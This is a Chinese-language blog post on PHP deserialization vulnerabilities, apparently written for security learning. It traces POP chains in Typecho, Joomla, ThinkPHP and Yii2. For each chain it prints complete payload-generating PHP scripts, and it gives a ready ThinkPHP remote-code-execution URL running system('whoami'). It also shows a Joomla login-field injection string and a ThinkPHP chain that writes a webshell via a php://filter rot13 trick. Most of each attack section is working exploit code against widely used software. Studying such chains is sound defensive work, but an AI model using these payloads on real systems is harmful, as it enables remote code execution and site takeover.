复制代码

4. php反序列化从入门到放弃(放弃篇)

上篇《php反序列化从入门到放弃(入门篇)》主要总结了PHP的反序列化的一些知识,本篇主要通过cms实例来更好的理解并且挖掘反序列化漏洞。

以下cms的源码地址:https://github.com/bmjoker/Code-audit/

Typecho1.0.14反序列化导致任意代码执行

Typecho是一个PHP版本的轻量版博客系统,存在反序列化导致前台getshell的漏洞,通过分析这个漏洞来深入理解PHP反序列化漏洞。

漏洞的触发点是install.php中的反序列化方法unserialize()

先来看一下访问到unserialize()反序列化方法的前置条件

$SERVER['HTTP_REFERER']需要与$_SERVER['HTTP_HOST']的值相等,意思是请求包中的字段 host==referer['host']

这几个is..else的意思是如果想要执行的漏洞代码,需要满足:

  1. 通过GET请求接收到的finish参数不为空;

  2. 存在 __TYPECHO_ROOT_DIR__/config.inc.php文件;

  3. cookie中或者POST方法传进来的参数中存在__typecho_config字段的值。

具体分析一下漏洞代码

跟进查看Typecho_Cookie这个类的get方法

将Cookie中的__typecho_config或者POST传过来的__typecho_config的值取出来,使用base64解密,然后通过unserialize进行反序列化,并将反序列化之后的结果赋予变量$config

漏洞的触发点就在于这个unserialize()方法,如果存在可以利用的漏洞利用点,像file_put_contents,exec...,就可以在__typecho_config

 

构造特定的序列化payload数据来实现漏洞的利用,比如任意代码执行等。

继续往下看,发现实例化一个Typecho_Db类的对象,并把$config['adapter']$config['prefix']传入Typecho_Db类中进行实例化,然后调用Typecho_DbaddServer方法对$config进行处理,跟进一下Typecho_Db类:

这里看到:

$this->_adapterName = $adapterName;
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

在入门篇都有提过魔术方法__toString()的几种触发方式。像上面的代码,如果$adapterName是一个实例化对象,在进行了字符串的拼接的时候就会触发该类的__toString()魔术方法。

全局搜索一下魔术方法__toString()

这里发现Config.php,Feed.php,Query.php三个文件都包含__toString()方法。现在的目的是依次去分析三个php文件中的__toString()方法,寻找漏洞的利用点,构造相应的反序列化链。

Config.php  -->  __toString()

这里调用__toString()做了序列化???没什么利用点,pass。

Query.php  -->  __toString()

在492行看到如下代码

如果$this->_adapter是一个不存在parseSelect方法的类的对象的时候,那么调用parseSelect方法就是访问一个不可访问的方法,就会触发该类的魔术方法__call()。全局搜一下魔术方法__call(),最后发现Plugin.php有以下代码:

$component是调用失败的方法名,$args是调用时的参数。均可控,但是根据上文,$args必须存在array('action'=>'SELECT'),然后加上我们构造的payload,最少是个长度为2的数组,但是483行又给数组加了一个长度,导致$args长度至少为3,那么call_user_func_array()便无法正常执行。所以此路就不通了

Feed.php  -->  __toString()

在290行看到如下代码

这里的$item由foreach()循环得来,使用$item['author'->screenName]获取author对应的screenName属性,这里就存在一个序列化链的构造点,如果$item['author']是一个不存在screenName属性的类的对象的时候,那么访问screenName就是访问一个不存在的属性,就会触发该类的魔术方法__get()。全局搜一下魔术方法__get(),查找利用点:

这里不再一个一个分析了,最后在Request.php找到了利用链:

跟进get方法

$value是\$this->_params[\$key]的值,$key就是screenName,是可以控制的输入值,继续跟进_applyFilter方法:

参数$filter$value都可控,并且call_user_func()array_map()方法都可通过回调函数实现任意代码执行。

最终的调用链如下:

call_user_func <-- Typecho_Request::_applyFilter <-- Typecho_Request::get <-- Typecho_Request::__get <--  Typecho_Feed::__toString <-- Typecho_Db::__construct

构造序列化payload:

<?php 
class Typecho_Feed{
    private $_items=array();
    private $_type='RSS 2.0';
    public function __construct(){
       $this->_items[0]=array(
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request()     
            );
    }
}
class Typecho_Request{
    private $_filter = array();
    private $_params = array();
    function __construct(){
        $this->_params['screenName'] = 'phpinfo();';
        $this->_filter[0] = 'assert';
    }
}
$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_',
);
print_r(base64_encode(serialize($exp)));
?>

成功复现。

来看一下官方的补丁:

https://github.com/typecho/typecho/commit/e277141c974cd740702c5ce73f7e9f382c18d84e#diff-3b7de2cf163f18aa521c050bb543084f

更换判断是否安装的方法,删除反序列化代码。

Joomla3.4.6反序列化导致任意代码执行

Joomla反序列化漏洞的主要原因是:

Joomla不论账号密码是否正确,都会把登录的用户名和密码,通过序列化的方式存储在session表中,再以反序列化的方式读取session表中的内容。由于protected修饰的变量在序列化的时候,会变成\x00 + * + \x00 + [变量名]的形式,而mysql无法保存NULL字节的数据,所以在向session表写入的过程中会将 \x00*\x00替换为\0\0\0 ,同样在读取session表中的内容的时候会再次转换,然后进行反序列化。如果在向session表存储的过程中构造恶意构造一些\0\0\0,那么在进行反序列化的时候就会由于字节数对不上,导致 "溢出" ,使得反序列化对象逃逸出来。

本地搭建环境,尝试使用错误的账号密码登录,查看一下session表中的内容:

在登录过程中,会有一个303的跳转,这个跳转是先把用户的输入经过序列化存储在session表中,读取的时候再从session表中取出数据进行反序列化,进行账号密码对比

通过序列化写入session表的具体代码如下:

Joomla/libraries/joomla/session/storage/database.php  ——>  write()

因为protected修饰的变量在序列化后会变成这种形式:\x00 + * + \x00 + [变量名],而mysql无法保存NULL字节的数据,所以在代码中可以看到在写入session表的过程中会将\x00*\x00替换为\0\0\0来进行存储,就比如Registry类下protected修饰的$data变量,序列化存储为:

通过反序列化读取session表的具体代码如下:

Joomla/libraries/joomla/session/storage/database.php  ——>  read()

在读取时会重新把\0\0\0替换为\x00*\x00来进行反序列化。

漏洞的关键点在于反序列化存入session表中的数据比原始数据要多3个字节,如下图所示:

如果传入的用户名为\0\0\0admin,序列化写入session表中的数据为:

s:8:"username";s:11:"\0\0\0admin";s:8:"password";s:6:"123456";

在调用read方法进行读取时会先将\0\0\0转换为N*N\x00为空字节为方便展示这里使用N代替):

s:8:"username";s:11:"N*Nadmin";s:8:"password";s:6:"123456";

因为read之后长度变短了3个字节,在反序列化的时候username的值为s:11:"N*Nadmin",但是实际只有8个字节,为了满足反序列化的规则,就会吃掉后面3个字节的数据,直至凑齐11个字符,也就是s:11:"N*Nadmin";s

利用这个思路,足够多的\0\0\0就可以将password字段的数据逃逸出来,构造如下:

s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:6:"123456"

read()之后:

s:8:s:"username";s:54:"N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345

username的值为N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345,后面补上";就成功逃逸出来了

实现对象注入:

s:8:s:"username";s:54:"N*NN*NN*NN*NN*NN*NN*NN*NN*N";s:8:"password";s:6:"12345";s:2:"HS":O:15:"ObjectInjection"

写个小demo方便理解:

<?php
class User {
    public $username;
    public $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }
}
class danger{
    public $cmd;
    public function __construct(){
        $this->cmd = $cmd;
    }
    public function __destruct(){
        system($this->cmd);
    }
}
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "1234";
$payload = '";s:8:"password";O:6:"danger":1:{s:3:"cmd";s:4:"calc";}';
$password = $password.$payload;
$object = new User($username,$password);
$ser = serialize($object);
$data = str_replace('N*N', '\0\0\0', $ser);
var_dump($data);
echo "</br></br></br></br>";
$result = str_replace('\0\0\0','N*N', $ser);
var_dump($result);
echo "</br></br></br></br>";
$unser = unserialize($result);
var_dump($unser);
?>

下面尝试去构造反序列化链来利用。

早在Joomla1.5~3.4的时候就曾爆出过session反序列化攻击,具体可以参照P牛的文章:

Joomla远程代码执行漏洞分析

Joomla 1.5~3.4 session对象注入漏洞

这里来分析一下利用链,通过搜索eval/assert/call_user_func...这类可以利用并且参数可控的危险函数,可以找到用于构造执行链的类:

这几个文件调取call_user_func的方式都相同,来看一下libraries\joomla\database\driver\mysqli.php中方法的具体实现

JDatabaseDriverMysqli这个类的对象被调用,在结束时都会调用析构函数__destruct__destruct中会调用disconnect()方法。

而当$this->connection为true的时候,就会调用call_user_func_array(\$h, array(&\$this)); 方法对disconnectHandlers数组中的每个值,都会执行call_user_func_array(),并将&$this作为参数引用,但是不能控制参数,所以不能直接构造assert+eval来执行任意代码。

继续往下看发现在libraries\simplepie\simplepie.php中有一处call_user_func方法调用

这个call_user_func(\$this->cache_name_function, \$this->feed_url)两个参数都是可控的,于是只要满足$this->cache为True,$this->raw_data为True,$parsed_feed_url['scheme']不为空就能够RCE了,并且$parsed_feed_url['scheme']可以能够利用|| $a='http//';绕过scheme的解析

不过这个call_user_func属于init()方法,并不属于魔术方法,所以需要结合前面JDatabaseDriverMysqli类下的disconnect()中的call_user_func_array方法实现对init()方法的回调。就相当于:

$this->disconnectHandlers = array("test"=>array(new SimplePie(),"init"));

这样的话就相当于实例化了一个SimplePie类的对象,并且调用SimplePie类下的init()方法。

官方给的有相似的例子:https://www.php.net/manual/zh/function.call-user-func-array.php

这里还有一个问题,虽然实例化了一个SimplePie的类,但是SimplePie类不会自动加载。需要去引入加载类。

/libraries/legacy/simplepie/factory.php

发现刚开始就导入了SimplePie类,并且JSimplepieFactory类属于autoload,会自动加载,这样的话只需要引入这个类就可以成功加载SimplePie

payload如下:

<?php
class JSimplepieFactory{}
class JDatabaseDriverMysql{}
class JDatabaseDriverMysqli
{
    protected $abc;
    protected $connection;
    protected $disconnectHandlers;
    function __construct()
    {
        $this->abc = new JSimplepieFactory();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [new SimplePie, "init"],
        ];
    }
}
class SimplePie
{
    var $sanitize;
    var $cache_name_function;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
    }
}
$obj = new JDatabaseDriverMysqli();
$ser = serialize($obj);
echo str_replace(chr(0) . '*' . chr(0), '\0\0\0', $ser);
?>

最后构造的账号密码为:

username:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

password:
123";s:4:"test":O:21:"JDatabaseDriverMysqli":3:{s:6:"\0\0\0abc";O:17:"JSimplepieFactory":0:{}s:13:"\0\0\0connection";i:1;s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":3:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:19:"cache_name_function";s:6:"assert";s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}}

尝试登录:

成功执行命令

Thinkphp5.0.24反序列化导致命令执行

Thinkphp框架流程

此部分内容参考与《TP5.0.xRCE&5.0.24反序列化分析

这里将Thinkphp5.0.22解包之后可以看到如下目录结构:

根据类的命名空间可以快速定位文件位置,在ThinkPHP5.0的规范里面,命名空间其实对应了文件的所在目录,app命名空间通常代表了文件的起始目录为application,而think命名空间则代表了文件的其实目录为thinkphp/library/think,后面的命名空间则表示从起始目录开始的子目录,如下图所示:

Thinkphp框架的入口文件为:public/index.php

框架引导文件:thinkphp/start.php

基础文件:thinkphp/base.php

此文件具体做了以下操作:

  • 定义了一些define常量
  • 载入了Loader类
  • 加载环境变量配置文件
  • 注册自动加载
  • 注册错误和异常处理机制处理
  • 加载默惯例配置文件

这其中比较重要的就是注册自动加载机制,跟踪进Loader:regiester()方法

具体有以下几个部分:

1. 注册系统自动加载

使用了spl_autoload_register函数,这是一个自动加载函数,若是实例化一个未定义的类时就会触发该函数,然后会触发第一个参数
作为指定的方法,可以看到此函数指定了think\Loader::autoload作为触发方法

2. Composer自动加载支持

3. 注册命名空间定义

think => thinkphp/library/think
behavior => thinkphp/library/behavior
traits => thinkphp/library/traits

4. 加载类库映射文件

5. 自动加载extend目录

执行应用(thinkphp/library/think/App.php)

如上为部分代码,首先返回一个request实例,初始化应用并返回配置信息(self::initCommon)。

之后进行如下的操作:

  • 查看是否存在模块/控制器绑定:defined('BIND_MODULE')
  • 对于request的实例根据设置的过滤规则进行过滤:\$request->filter(\$config['default_filter'])
  • 加载系统语言包
  • 监听app_dispatch,并获取应用调度信息:Hook::listen('app_dispatch', self::$dispatch)
  • 未设置调度信息则进行URL路由检测:self::routeCheck(\$request, $config)
  • 记录当前调度信息,路由以及请求信息到日志中
  • 请求缓存检查并进行 \$data = self::exec(\$dispatch, $config),根据$dispatch进行不同的调度,返回$data
  • 清除类的实例化:Loader::clearInstance()
  • 输出数据到客户端,\$response = $data,返回一个Response类实例
  • 调用Response->send()方法将数据返回给客户端

大概整个流程图如下:

这里要特别提一下这个URL路由检测(routeCheck

通过\$path = $request->path()获取到请求的path_info,$depr是定义的分隔符,默认为' / ',之后进行路由检测步骤如下:

  • 查看是否存在路由缓存,存在就包含
  • 读取应用所在的路由文件,一般默认为route.php
  • 导入路由配置
  • Route::check(根据路由定义返回不同的URL调度)
  • 检查是否强制使用路由 \$must = !is_null(self::\$routeMust) ? self::\$routeMust : \$config['url_route_must']
  • 路由无效,将自动解析模块的URL地址会进入到Route::parseUrl(\$path, \$depr, $config['controller_auto_search'])

跟进Route::check,具体做了以下操作:

  • 检查解析缓存
  • 替换分隔符,str_replace(\$depr, '|', $url),将' / '换成了' | '
  • 获取当前请求类型的路由规则,由于在之前的Composer自动加载支持,在vendortopthink/think-captcha/src/helper.php中注册了路由,所以在\$rules = isset(self::\$rules[\$method]) ? self::\$rules[\$method] : [];中的Route::$rules['get']已经存在了相应的路由规则
  • 检测域名部署:self::checkDomain(\$request, \$rules, $method);
  • 检测URL绑定:self::checkUrlBind(\$url, \$rules, $depr);
  • 静态路由规则检查:self::checkOption(\$rule['option'], \$request)
  • 路由规则检查:self::checkRoute(\$request, \$rules, \$url, \$depr)

继续跟进CheckRoute

  • 检查参数有效性:self::checkOption(\$option, \$request)
  • 替换掉路由ext参数
  • 检查分组路由
  • 检查指定特殊路由,例如:__miss__和__atuo__
  • 检查路由规则checkRule:self::checkRule(\$rule, \$route,\$url, $pattern, \$option, \$depr);
  • 最终未被匹配路由的进入到self::parseRule('', \$miss['route'], \$url, $miss['option'])进行处理,这就牵涉到TP对于路由的多种定义

整个路由流程如下图:

thinkphp传参

在具体分析流程前传参方式,首先介绍一下模块等参数

  • 模块 : application\index,这个index就是一个模块,负责前台相关
  • 控制器 : 在模块中的文件夹controller,即为控制器,负责业务逻辑
  • 操作 : 在控制器中定义的方法,比如在默认文件夹中application\index\controller\Index.php中就有两个方法,index和hello
  • 参数 : 就是定义的操作需要传的参数

在本文中会用到两种传参方式,其他的方式可以自行了解

1. PATH_INFO模式 : http://127.0.0.1/public/index.php/模块/控制器/操作/(参数名)/(参数值)...

2. 兼容模式 : http://127.0.0.1/public/index.php?s=/模块/控制器/操作&(参数名)=(参数值)...

其中index.php就称之为应用的入口文件

模块在ThinkPHP中的概念其实就是应用目录下面的子目录,而官方的规范是目录名小写,因此模块全部采用小写命名,无论URL是否开启大小写转换,模块名都会强制小写。

如果直接访问入口文件index.php的话,由于URL中没有模块、控制器和操作,因此系统会访问默认模块(index)下面的默认控制器(Index)的默认操作(index),因此下面的访问是等效的:

http://127.0.0.1/thinkphp_5.0.22/public/index.php
http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/index/index

如果要访问index控制器的hello方法,则需要使用完整的URL地址:

http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/index/hello/name/bmjoker

/hello/name/bmjoker:hello是方法名,name是参数名称,bmjoker是传递进去的参数

如果是多个参数,再后面累加即可

默认情况下,URL地址中的控制器和操作名是不区分大小写的,因此下面的访问其实是等效的:

http://127.0.0.1/thinkphp_5.0.22/public/index.php/Index/Index
http://127.0.0.1/thinkphp_5.0.22/public/index.php/INDEX/INDEX

application\index\controller目录下新建一个Test.php,我们访问下面链接即可访问到Test控制器下的hello方法:

http://127.0.0.1/thinkphp_5.0.22/public/index.php/index/test/hello/name/bmjoker

大概明白这个请求过程,下面来分析一下漏洞。

Thinkphp5.0.22命令执行漏洞分析

如果大概了解上面的thinkphp5的框架流程,下面的分析应该不会太晕。

payload:
http://127.0.0.1/thinkphp_5.0.22/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

依次来调试分析。

程序入口 public/index.php

public/start.php会去调用App类的run方法

run()有两个比较重要的方法:routeCheck()方法和exec()方法

由于未设置调度信息,所以$dispatch为null,进入if循环调用routeCheck()方法进行URL路由检测

跟进routeCheck()方法,看到最上面$path通过path()方法获取,值为payload中s后面的参数"index/think\app/invokefunction"

这里可以尝试跟进一下path()方法:

最后返回的$this->path$pathinfo获取来的,$pathinfo又是通过pathinfo()方法获取来的,跟进pathinfo()方法

看到这里基本上就破案了,先判断通过$_GET方式传递过来的参数中有没有s传递过来的参数,如果有的话就获取,最后去掉两边的' / '然后return,也就是"index/think\app/invokefunction"

继续往下走,可以看到有如下判断

$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

如果开启了强制路由,那么输入的路由将报错导致后面导致程序无法运行,也就不存在RCE漏洞,但是默认是开启的。

最后调用Route::parseUrl()

先通过str_replace()函数将$url("index/think\app/invokefunction")中的' / '替换成' | ',然后调用parseUrlPath对$url进行分割,会把index/\think\app/invokefunction' / '为分隔符,分成['index','think\app','invokefunction']

根据thinkphp路由规则index为模块 、think\app为控制器、invokefunction为操作,最后封装成路由

到这里为止App::routeCheck()方法才算走完

继续往下读App.php的代码,关键代码在App::exec中,因为返回值中为module,因此进入黄色部分

跟进module方法,黄色部分检测module是否存在,不存在则报错。

上面代码表示只要$module存在,并且$available为True,就可以初始化模块,并进行调用。

继续往下看代码,构造控制器的过程调用了Loder::controller方法,然后又调用了self::getModuleAndClass该方法就是获取Module、Class的,这里通过判断$name中是否存在' \ ',若存在class就是$name,此时$name为think\App,因此$class=think\App,至此就成功调用了App类

控制器之后会获取当前的操作名,跟进self::invokeMethod()

该方法里用了ReflectionMethod来构造App类的invokefunction方法,然后就是调用App::invokefunction()

跟进App::invokefunction(),最后就是执行命令的地方,利用ReflectionFunction,来构造自己想要的函数执行即可,$function$vars,都可以通过$_GET方式获取

因此通过url传参function=call_user_func_array&vars[0]=system&vars[1][]=whoami

Thinkphp5.0.24反序列化导致命令执行

这个漏洞是框架的反序列化漏洞,只有二次开发实现了反序列化才可以利用,在/application/index/controller/Index.php中添加反序列化反序列化触发点代码

class Index
{
    public function index()
    {
        echo "Welcome thinkphp 5.0.24";
        unserialize(base64_decode($_GET['a']));
    }
}

此版本的利用方式是通过反序列化达到写文件的目的。起点在thinkphp/library/think/process/pipes/Windows.php中的windows类的__destruct()析构函数

这里调用了removeFiles()方法,跟进查看:

这里将$filename传入file_exists()方法,如果$filename为某个类的对象,使用file_exists()会触发该类的__toString()方法

这时候全局搜索__toString()方法,跟踪判断可用的类,这里选择thinkphp/library/think/Model.php中的Model类的__toString()方法

函数里面调用了toJson()方法,跟进查看

继续跟进toArray()方法查看,因为代码量太多,这里列出关键代码:

关键代码在下面黄色框中,使用method_exists()判断$relation是否为该类下的方法,而\$modelRelation = \$this->$relation(),并且$relation的值由$name的值决定,同时$name的值由$this->append决定,$this->append的值可控,意味着$modelRelation也是可控的。这里选择Model类中的getError方法,因为其返回值直接可控

到这里跟进getRelationData()方法看一下具体操作

当执行到\$value = $modelRelation->getRelation()时,就可以执行任意类的getRelation方法,这里可选择的就比较多,比如HasOne.php,BelongsTo.php...这里选择位于thinkphp/library/think/model/relation/HasOne.php的HasOne类的getRelation方法

重点是上述黄框中的代码,由于$this->query是可控的参数,如果$this->query为某类的对象,此类中不存在removeWhereField方法,那么就会调用此类的魔术方法__call(),并且传进去的参数$this->foreignKey也是可控的参数。这里需要全局搜索可以利用的魔术方法__call()。这里选择触发位于thinkphp/library/think/console/Output.php的Output类的__call()方法

跟进Output类中的__call方法:

首先把$args传入block方法中,跟进查看

跟进writeln方法

跟进write方法

这里$this->handle可控,可以实现对任意类的write方法的调用,全局搜索->write(,来寻找调用write的类。这里选择位于think/session/driver/Memcache.phpMemcache类的write方法 

$this->handle = new Memcache()

同样$this->handler可控,这样可以调用其他类的set方法,这里选择位于thinkphp/library/think/cache/driver/File.phpFile类的set方法

$this->handler = new File();

这也是反序列化链最后写文件的地方,看一下file_put_contents(\$filename, $data)的两个参数的来源,$filename需要跟进getCacheKey()方法

$filename是由$this->options['path']$name组成的,两个参数都是可控的,所以$filename就是可控的,其中md5值可以自己计算出来。

然后看一下$data,其值由$value决定,向上回溯会发现,该值的类型是布尔类型

此处的$data值不可控,那么目前我们无法写shell,回到File.php::set()方法中,注意到一条语句\$this->setTagItem($filename),跟进setTagItem方法

可以发现在setTagItem()方法最后重新调用了set方法,因为\$key = 'tag_' . md5(\$this->tag)$this->tag可控,所以这个$key也是可控,而当else的时候\$value = $name,并且$name是之前分析过的$filename传进来的参数,所以$value也是可控的,在最后的时候会再次调用set方法,同时也能完全控制写入的文件名和文件内容,但是在写入文件内容时:

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

如果想要写入我们的payload,需要绕过前面exit()方法的限制,这里可以参考以下几种方法《file_put_content和死亡·杂糅代码之缘

这里使用伪协议+rot13编码绕过,不过前提是服务器没有开启短标签,在本地尝试写入:

整个反序列化调用链为:

file_put_contents <- File.php::set() <- Driver.php::setTagItem() <- File.php::set() <- Memcache.php::write() <- Memcache.php::writeln() <- Output.php::block() <- Output.php::__call() <- HasOne.php::getRelation() <- Model.php::getRelationData <- Model.php::getError() <- Model.php::toArray() <- Model.php::toJson() <- Model.php::__toString() <- Windows.php::removeFiles() <- Windows.php::__destruct()

结合上面的分析尝试写一下payload:

<?php
    namespace think\session\driver;
    use think\cache\driver\File;
    class Memcached{
        protected $handler = null;
        function __construct(){
            $this->handler = new File();  //此处赋值$this->handler为File类的一个对象,这样就可以调用File.php::set()方法
        }
    }

    namespace think\cache;
    abstract class Driver{
        function __construct(){}
    }

    namespace think\cache\driver;
    use think\cache\Driver;
    class File extends Driver{  //此处重写File.php::set方法,构造写入的$filename
        protected $tag;
        protected $options = [];
        function __construct(){
            $this->tag = 'nocatch';
            $this->options = [
                'cache_subdir'=>false,
                'prefix'=>'',
                'path'=>'php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>',  //rot13编码
                'data_compress'=>false,
            ];
        }
    }

    namespace think\console;
    use think\session\driver\Memcached;
    class Output{
        private $handle = null;
        protected $styles = [];
        function __construct(){
            $this->styles = ['removeWhereField'];  
            $this->handle = new Memcached();  //此处赋值$this->handle为Memcached的一个对象,来调用Memcached::write()方法
        }
    }

    namespace think\model;
    use think\console\Output;
    abstract class Relation{
          protected $query;
          protected $foreignKey;
          function __construct(){
            $this->query = new Output();  //此处赋值$this->query为Output的一个对象,这样因为不存在removeWhereField方法,从而会调用Output类的__call方法
            $this->foreignKey = "aaaaaaaaa";  //参数
        }
    }

    namespace think\model\relation;
    use think\model\Relation;
    abstract class OneToOne extends Relation{}

    namespace think\model\relation;
    class HasOne extends OneToOne{}

    namespace think;
    use think\model\relation\HasOne;
    use think\console\Output;
    abstract class Model{
        protected $append = [];
        protected $error;
        protected $parent;
         function __construct(){
            $this->append = ['bmjoker'=>'getError'];
            $this->error = new HasOne();  //此处赋值$this->error为类HasOne的一个对象
        }
    }

    namespace think\process\pipes;
    use think\model\concern\Conversion;
    use think\model\Pivot;
    class Windows
    {
        private $files = [];
        public function __construct()
        {
            $this->files=[new Pivot()];  //此处赋值$filename为类Pivot的一个对象
        }
    }

    namespace think\model;
    use think\Model;
    class Pivot extends Model{}  //此处会自动调用Model类

    use think\process\pipes\Windows;
    echo base64_encode(serialize(new Windows()));
?>

注意这个洞在windows下是复现不了的,因为windows对文件名有限制,会写入失败。

Yii2.0.37反序列化导致命令执行

漏洞版本为<2.0.37,从github拉取代码下来:https://github.com/yiisoft/yii2/releases

下载到本地后解压到phpstudy/www目录,修改config/web.php文件里cookieValidationKey的值

在Controller目录下添加一个反序列化的入口代码:

测试是否搭建成功

来分析一下漏洞

第一条POP链

反序列化的起点是在yii\db\BatchQueryResult类的析构函数__destruct(),文件位置/vendor/yiisoft/yii2/db/BatchQueryResult.php

这里调用了reset()方法,跟进发现在reset()方法中通过$this->_dataReader调用了close()方法,因为这里$this->_dataReader参数是可控的,由此的话可以通过赋值为其他类的对象来调用其他类的__call()魔术方法。全局搜索关键字function __call(来寻找可用的类:

这里选择Faker\Generator类下的__call()方法,文件路径在vendor\fzaninotto\faker\src\Faker\Generator.php

继续跟进format()方法:

使用回调函数call_user_func_array()第一个参数调用了getFormatter()方法获取,其第二个参数$arguments是从yii\db\BatchQueryResult::reset()里传进来的,是一个null空参,跟进getFormatter()方法

由于$this->formatters参数是可控的,所以这里就可以赋值为任意类的对象,并可以调用类中的任意方法。

因为参数$formatter= ' close '$arguments为空,所以call_user_func_array()这个函数的第一个参数可控,第二个参数为空。需要去寻找实现命令执行的方法,并且参数可控。使用正则表达式call_user_func(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)\)来匹配:

首先第一处,文件路径vendor\yiisoft\yii2\rest\IndexAction.php

参数$this->checkAccess$this->id都是可控的,只要调用run()方法,构造参数即可实现命令执行。

第二处,文件路径:vendor\yiisoft\yii2\rest\CreateAction.php

跟上面的一样。

反序列化链为:

CreateAction::run() <- Generator::__call() <- BatchQueryResult::__destruct()

尝试写一下payload:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction, 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

第二条POP链

起点在于RunProcess类,文件路径vendor\codeception\codeception\ext\RunProcess.php

其中因为$this->processes是可控的,所以依然可以构造来调用类的__call()方法,接下来和第一条POP链一样,只是起点不同。此时反序列化链:

CreateAction::run() <- Generator::__call() <- RunProcess::__destruct()

payload为:

<?php
namespace yii\rest{
    class CreateAction{
        public $id;
        public $checkAccess;

        public function __construct()
        {
            $this->id = 'whoami';
            $this->checkAccess = 'system';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct()
        {
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

namespace Codeception\Extension{
    use Faker\Generator;

    class RunProcess{
        private $process;

        public function __construct()
        {
            $this->process = [new Generator()];
        }
    }
}

namespace {
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}

第三条POP链

起点在于Swift_KeyCache_DiskKeyCache类,漏洞文件vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

跟进clearAll()方法:

这里$this->path是可控的参数,与字符串' / '拼接就会触发魔术方法__toString(),这里全局搜索一下function __toString(,寻找可以利用的类。

这里选择Deprecated类下的__toString()方法,文件路径vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\Deprecated.php

因为$this->description为可控参数,通过构造,同时可以触发魔术方法__call(),接下来的利用跟上面一样。反序列化链为:

yii\rest\IndexAction::run() <- Faker\Generator::__call() <- src\DocBlock\Tags\Deprecated.php::__toString() <- Swift\KeyCache\DiskKeyCache::__destruct()

payload为:

<?php
namespace yii\rest{
    class CreateAction{
        public $id;
        public $checkAccess;

        public function __construct()
        {
            $this->id = 'whoami';
            $this->checkAccess = 'system';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct()
        {
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;

    class Deprecated{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}

namespace {
    use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;

    class Swift_KeyCache_DiskKeyCache{
        private $path;
        private $keys;

        public function __construct()
        {
            $this->path = new Deprecated();
            $this->keys = array("just"=>array("for"=>"xxx"));
        }
    }
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

经过上面的POP链可以发现基本都是尝试去寻找可以触发魔术方法__call()的地方,后半部分一样,只是漏洞的触发点不同,与此类似的POP链还有:

yii\rest\IndexAction::run() <- Faker\Generator::__call() <- src\DocBlock\Tags\See.php::__toString() <- Swift\KeyCache\DiskKeyCache::__destruct()

还有:

yii\rest\IndexAction::run() <- Faker\Generator::__call() <- src\DocBlock\Description.php::__toString() <- Swift\KeyCache\DiskKeyCache::__destruct()

wordpress4.9反序列化导致任意代码执行

具体分析请参考:

PHP反序列化漏洞的新攻击面

利用 phar 拓展 php 反序列化漏洞攻击面

 

posted @ 2020-11-15 16:54  bmjoker  阅读(2941)  评论(2编辑  收藏  举报